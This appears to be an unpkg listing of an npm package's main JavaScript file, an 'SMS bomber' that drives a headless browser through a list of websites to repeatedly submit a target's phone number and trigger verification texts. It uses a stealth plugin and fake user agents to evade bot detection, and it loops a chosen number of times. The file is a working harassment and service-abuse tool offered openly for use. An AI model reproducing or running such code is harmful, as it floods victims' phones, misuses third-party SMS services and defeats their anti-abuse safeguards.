UNPKG

penaplast3104-sms-bomber

Version:

Simple sms bomber

108 lines (88 loc) 3.19 kB
const puppeteer = require('puppeteer-extra'); const fakeUserAgent = require('fake-useragent'); const StealthPlugin = require('puppeteer-extra-plugin-stealth') const { defaultSites } = require('./constants/sites'); const { removeFirstCharacter } = require('./helpers/removeFirstCharacter'); const { getWithoutDefaultSites, getIsDebugMode } = require('./helpers/flags'); puppeteer.use(StealthPlugin()) /** * Start function * @param {string} phoneNumber - Target phone number. * @param {string} times - Number of calls. * @param {Array} options - Options flags. * @param {Array} sites - Custom sites config. * @param {Function} onBombingStart - Callback on start. * @param {Function} onBombingFinish - Callback on finish. */ async function startBombing(args){ const { phoneNumber, times, options = [], sites = [], onBombingStart, onBombingFinish, } = args const isDebug = getIsDebugMode(options) const withoutDefaultSites = getWithoutDefaultSites(options) const resultSites = withoutDefaultSites ? sites : [...defaultSites, ...sites] isDebug && console.info('DEVLOG: Starting...') const browser = await puppeteer.launch({ args: ['--no-sandbox'], headless: isDebug ? false : 'new' }); isDebug && console.info('DEVLOG: Browser has been started') const page = await browser.newPage(); isDebug && console.info('DEVLOG: Page has been created'); await page.setViewport({ width: 1220, height: 720, }); await page.setUserAgent(fakeUserAgent()); isDebug && console.info('DEVLOG: Set fake user-agent'); onBombingStart?.({ phoneNumber, times }) for (let loop = 0; loop < times; loop++){ for (const site of resultSites) { try { const {url, options = {}} = site isDebug && console.info(`DEVLOG: Going to ${url}`) await page.goto(url, {waitUntil: 'networkidle2'}); isDebug && console.info(`DEVLOG: On ${url}`) const {withoutFirstNumber} = options const transformedPhoneNumber = withoutFirstNumber ? removeFirstCharacter(phoneNumber) : phoneNumber await iterateQueue(site, page, transformedPhoneNumber) } catch (error){ isDebug && console.info(`Error: ${error}`) } } } onBombingFinish?.({ phoneNumber, times }) isDebug && console.info('DEVLOG: Finish'); await browser.close(); }; async function iterateQueue(site, page, number) { const { queue } = site for (let item of queue) { try { await page.waitForSelector(item.selector, { timeout: 15000 }) const typeValue = item.isNumber ? number : item.value if(item.delay){ await new Promise((resolve)=> setTimeout(resolve, item.delay)) } await page[item.action](item.selector, typeValue) } catch (e) { if(item.isOptional){ continue } return Promise.reject() } } } module.exports = { startBombing }